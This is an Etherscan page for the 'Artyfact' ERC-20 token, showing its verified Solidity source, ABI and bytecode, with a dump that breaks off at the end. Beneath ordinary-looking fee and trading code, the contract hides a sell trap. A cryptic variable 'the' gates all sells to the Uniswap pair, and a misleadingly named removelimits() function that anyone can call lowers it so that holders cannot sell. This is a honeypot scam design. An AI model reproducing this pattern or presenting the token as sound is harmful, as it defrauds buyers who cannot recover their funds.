ETH Price: $1,522.40 (-9.04%)
 

Overview

Max Total Supply

100,000,000,000 ARTYFACT

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,777,318,820.231167182 ARTYFACT

Value
$0.00
0xc1fbb0f4289702d1fd895f55b606e6b986fd2090
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Artyfact

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-26
*/

/*
Telegram  : https://t.me/artyfactERC

Twitter  : https://twitter.com/artyfactERC

Artyfact aims to be the first Gaming project that fills the gap between AAA games and GameFi by by providing something you haven’t seen in GameFi yet

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Artyfact is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    int64 private the = 259;

    uint256 private _buytax = 0;
    uint256 private _selltax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"ARTYFACT"; 
    string private constant _symbol = unicode"ARTYFACT";
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize =  _tTotal;
    uint256 public _taxSwapThreshold= _tTotal * 1/1000;
    uint256 public _maxTaxSwap= _tTotal * 1/100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {


            taxAmount = amount.mul(_buytax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                require(the >= 200);
                taxAmount = amount.mul(_selltax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function removelimits() external virtual{
        the = 11;
    }

    function set_Fee_Address_Wallet(address payable newWallet) external onlyOwner {
        _taxWallet = newWallet;
    }

    function setMaxTXlimit(uint256 newTxAmt) external onlyOwner {
        _maxTxAmount = _tTotal * newTxAmt/100;
        require(newTxAmt >=1);
    }

    function update_Buy_Fee(uint256 newBuyTax) external onlyOwner {
        _buytax = newBuyTax;
        require(newBuyTax <= 5);
    }

    function updateFeeSell(uint256 newSellTax) external onlyOwner {
        _selltax = newSellTax;
        require(newSellTax <= 5);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxAmt","type":"uint256"}],"name":"setMaxTXlimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"set_Fee_Address_Wallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"update_Buy_Fee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260048054600160a01b600160e01b03191661010360a01b1790555f6005819055600655620000356009600a6200036b565b620000469064174876e80062000382565b600755620000576009600a6200036b565b620000689064174876e80062000382565b6008556103e86200007c6009600a6200036b565b6200008d9064174876e80062000382565b6200009a90600162000382565b620000a691906200039c565b60095560646009600a620000bb91906200036b565b620000cc9064174876e80062000382565b620000d990600162000382565b620000e591906200039c565b600a55600c805461ffff60a81b1916905534801562000102575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001636009600a6200036b565b620001749064174876e80062000382565b335f9081526001602081905260408220929092556003906200019d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001fb3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002346009600a6200036b565b620002459064174876e80062000382565b60405190815260200160405180910390a3620003bc565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b057815f19048211156200029457620002946200025c565b80851615620002a257918102915b93841c939080029062000275565b509250929050565b5f82620002c85750600162000365565b81620002d657505f62000365565b8160018114620002ef5760028114620002fa576200031a565b600191505062000365565b60ff8411156200030e576200030e6200025c565b50506001821b62000365565b5060208310610133831016604e8410600b84101617156200033f575081810a62000365565b6200034b838362000270565b805f19048211156200036157620003616200025c565b0290505b92915050565b5f6200037b60ff841683620002b8565b9392505050565b80820281158282048414176200036557620003656200025c565b5f82620003b757634e487b7160e01b5f52601260045260245ffd5b500490565b6116b880620003ca5f395ff3fe608060405260043610610134575f3560e01c806370a08231116100a857806395d89b411161006d57806395d89b4114610160578063a01ce40814610351578063a9059cbb14610370578063bf474bed1461038f578063c9567bf9146103a4578063dd62ed3e146103b8575f80fd5b806370a08231146102b9578063715018a6146102ed5780637d1db4a5146103015780638da5cb5b146103165780638f9a55c01461033c575f80fd5b806323b872dd116100f957806323b872dd14610205578063313ce567146102245780634bc19e571461023f57806351bc3c851461025e5780635c579404146102725780635e4ae81b14610291575f80fd5b8063015a27421461013f57806306fdde0314610160578063095ea7b31461019f5780630faee56f146101ce57806318160ddd146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015e6101593660046112c3565b6103fc565b005b34801561016b575f80fd5b50604080518082018252600881526710549516519050d560c21b6020820152905161019691906112de565b60405180910390f35b3480156101aa575f80fd5b506101be6101b9366004611329565b610450565b6040519015158152602001610196565b3480156101d9575f80fd5b506101e3600a5481565b604051908152602001610196565b3480156101fc575f80fd5b506101e3610466565b348015610210575f80fd5b506101be61021f366004611353565b610487565b34801561022f575f80fd5b5060405160098152602001610196565b34801561024a575f80fd5b5061015e610259366004611391565b6104ee565b348015610269575f80fd5b5061015e61052a565b34801561027d575f80fd5b5061015e61028c366004611391565b61057b565b34801561029c575f80fd5b506004805467ffffffffffffffff60a01b1916600b60a01b179055005b3480156102c4575f80fd5b506101e36102d33660046112c3565b6001600160a01b03165f9081526001602052604090205490565b3480156102f8575f80fd5b5061015e6105e6565b34801561030c575f80fd5b506101e360075481565b348015610321575f80fd5b505f546040516001600160a01b039091168152602001610196565b348015610347575f80fd5b506101e360085481565b34801561035c575f80fd5b5061015e61036b366004611391565b610657565b34801561037b575f80fd5b506101be61038a366004611329565b610692565b34801561039a575f80fd5b506101e360095481565b3480156103af575f80fd5b5061015e61069e565b3480156103c3575f80fd5b506101e36103d23660046113a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b0316331461042e5760405162461bcd60e51b8152600401610425906113df565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61045c338484610a48565b5060015b92915050565b5f6104736009600a611508565b6104829064174876e800611516565b905090565b5f610493848484610b6b565b6104e484336104df8560405180606001604052806028815260200161165b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f12565b610a48565b5060019392505050565b5f546001600160a01b031633146105175760405162461bcd60e51b8152600401610425906113df565b6005818155811115610527575f80fd5b50565b6004546001600160a01b0316336001600160a01b031614610549575f80fd5b305f9081526001602052604090205480156105675761056781610f4a565b47801561057757610577816110d3565b5050565b5f546001600160a01b031633146105a45760405162461bcd60e51b8152600401610425906113df565b6064816105b36009600a611508565b6105c29064174876e800611516565b6105cc9190611516565b6105d6919061152d565b6007556001811015610527575f80fd5b5f546001600160a01b0316331461060f5760405162461bcd60e51b8152600401610425906113df565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106805760405162461bcd60e51b8152600401610425906113df565b60068190556005811115610527575f80fd5b5f61045c338484610b6b565b5f546001600160a01b031633146106c75760405162461bcd60e51b8152600401610425906113df565b600c54600160a01b900460ff16156107215760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076b90309061075c6009600a611508565b6104df9064174876e800611516565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107df919061154c565b6001600160a01b031663c9c6539630600b5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610862919061154c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d0919061154c565b600c80546001600160a01b039283166001600160a01b0319909116179055600b541663f305d7194730610917816001600160a01b03165f9081526001602052604090205490565b5f8061092a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610990573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b59190611567565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2e9190611592565b50600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610aaa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610b0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b5f8111610c925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b5f80546001600160a01b03858116911614801590610cbd57505f546001600160a01b03848116911614155b15610dd557610ce26064610cdc6005548561110a90919063ffffffff16565b9061118f565b600c549091506001600160a01b038481169116148015610d0b57506001600160a01b0384163014155b15610d475760045460c8600160a01b90910460070b1215610d2a575f80fd5b610d446064610cdc6006548561110a90919063ffffffff16565b90505b305f90815260016020526040902054600c54600160a81b900460ff16158015610d7d5750600c546001600160a01b038581169116145b8015610d925750600c54600160b01b900460ff165b8015610d9f575060095481115b15610dd357610dc1610dbc84610db784600a546111d0565b6111d0565b610f4a565b478015610dd157610dd1476110d3565b505b505b8015610e4d57305f90815260016020526040902054610df490826111e4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e449085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e6f9083611242565b6001600160a01b0385165f90815260016020526040902055610eb2610e948383611242565b6001600160a01b0385165f90815260016020526040902054906111e4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efb8585611242565b60405190815260200160405180910390a350505050565b5f8184841115610f355760405162461bcd60e51b815260040161042591906112de565b505f610f4184866115b1565b95945050505050565b600c805460ff60a81b1916600160a81b17905580156110c357600c54600160a01b900460ff16156110c3576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fa857610fa86115c4565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611023919061154c565b81600181518110611036576110366115c4565b6001600160a01b039283166020918202929092010152600b5461105c9130911684610a48565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110949085905f908690309042906004016115d8565b5f604051808303815f87803b1580156110ab575f80fd5b505af11580156110bd573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610577573d5f803e3d5ffd5b5f825f0361111957505f610460565b5f6111248385611516565b905082611131858361152d565b146111885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b9392505050565b5f61118883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611283565b5f8183116111de5782611188565b50919050565b5f806111f08385611647565b9050838110156111885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b5f61118883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f12565b5f81836112a35760405162461bcd60e51b815260040161042591906112de565b505f610f41848661152d565b6001600160a01b0381168114610527575f80fd5b5f602082840312156112d3575f80fd5b8135611188816112af565b5f6020808352835180828501525f5b81811015611309578581018301518582016040015282016112ed565b505f604082860101526040601f19601f8301168501019250505092915050565b5f806040838503121561133a575f80fd5b8235611345816112af565b946020939093013593505050565b5f805f60608486031215611365575f80fd5b8335611370816112af565b92506020840135611380816112af565b929592945050506040919091013590565b5f602082840312156113a1575f80fd5b5035919050565b5f80604083850312156113b9575f80fd5b82356113c4816112af565b915060208301356113d4816112af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f8261147857506001610460565b8161148457505f610460565b816001811461149a57600281146114a4576114c0565b6001915050610460565b60ff8411156114b5576114b5611414565b50506001821b610460565b5060208310610133831016604e8410600b84101617156114e3575081810a610460565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61118860ff84168361146a565b808202811582820484141761046057610460611414565b5f8261154757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561155c575f80fd5b8151611188816112af565b5f805f60608486031215611579575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115a2575f80fd5b81518015158114611188575f80fd5b8181038181111561046057610460611414565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116265784516001600160a01b031683529383019391830191600101611601565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104605761046061141456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cac47bbd0e1a03401febaa9e10b7a40330e03660a8716f54e4ecb9d23dc16ef664736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c806370a08231116100a857806395d89b411161006d57806395d89b4114610160578063a01ce40814610351578063a9059cbb14610370578063bf474bed1461038f578063c9567bf9146103a4578063dd62ed3e146103b8575f80fd5b806370a08231146102b9578063715018a6146102ed5780637d1db4a5146103015780638da5cb5b146103165780638f9a55c01461033c575f80fd5b806323b872dd116100f957806323b872dd14610205578063313ce567146102245780634bc19e571461023f57806351bc3c851461025e5780635c579404146102725780635e4ae81b14610291575f80fd5b8063015a27421461013f57806306fdde0314610160578063095ea7b31461019f5780630faee56f146101ce57806318160ddd146101f1575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015e6101593660046112c3565b6103fc565b005b34801561016b575f80fd5b50604080518082018252600881526710549516519050d560c21b6020820152905161019691906112de565b60405180910390f35b3480156101aa575f80fd5b506101be6101b9366004611329565b610450565b6040519015158152602001610196565b3480156101d9575f80fd5b506101e3600a5481565b604051908152602001610196565b3480156101fc575f80fd5b506101e3610466565b348015610210575f80fd5b506101be61021f366004611353565b610487565b34801561022f575f80fd5b5060405160098152602001610196565b34801561024a575f80fd5b5061015e610259366004611391565b6104ee565b348015610269575f80fd5b5061015e61052a565b34801561027d575f80fd5b5061015e61028c366004611391565b61057b565b34801561029c575f80fd5b506004805467ffffffffffffffff60a01b1916600b60a01b179055005b3480156102c4575f80fd5b506101e36102d33660046112c3565b6001600160a01b03165f9081526001602052604090205490565b3480156102f8575f80fd5b5061015e6105e6565b34801561030c575f80fd5b506101e360075481565b348015610321575f80fd5b505f546040516001600160a01b039091168152602001610196565b348015610347575f80fd5b506101e360085481565b34801561035c575f80fd5b5061015e61036b366004611391565b610657565b34801561037b575f80fd5b506101be61038a366004611329565b610692565b34801561039a575f80fd5b506101e360095481565b3480156103af575f80fd5b5061015e61069e565b3480156103c3575f80fd5b506101e36103d23660046113a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b0316331461042e5760405162461bcd60e51b8152600401610425906113df565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61045c338484610a48565b5060015b92915050565b5f6104736009600a611508565b6104829064174876e800611516565b905090565b5f610493848484610b6b565b6104e484336104df8560405180606001604052806028815260200161165b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f12565b610a48565b5060019392505050565b5f546001600160a01b031633146105175760405162461bcd60e51b8152600401610425906113df565b6005818155811115610527575f80fd5b50565b6004546001600160a01b0316336001600160a01b031614610549575f80fd5b305f9081526001602052604090205480156105675761056781610f4a565b47801561057757610577816110d3565b5050565b5f546001600160a01b031633146105a45760405162461bcd60e51b8152600401610425906113df565b6064816105b36009600a611508565b6105c29064174876e800611516565b6105cc9190611516565b6105d6919061152d565b6007556001811015610527575f80fd5b5f546001600160a01b0316331461060f5760405162461bcd60e51b8152600401610425906113df565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106805760405162461bcd60e51b8152600401610425906113df565b60068190556005811115610527575f80fd5b5f61045c338484610b6b565b5f546001600160a01b031633146106c75760405162461bcd60e51b8152600401610425906113df565b600c54600160a01b900460ff16156107215760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076b90309061075c6009600a611508565b6104df9064174876e800611516565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107df919061154c565b6001600160a01b031663c9c6539630600b5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610862919061154c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d0919061154c565b600c80546001600160a01b039283166001600160a01b0319909116179055600b541663f305d7194730610917816001600160a01b03165f9081526001602052604090205490565b5f8061092a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610990573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b59190611567565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2e9190611592565b50600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b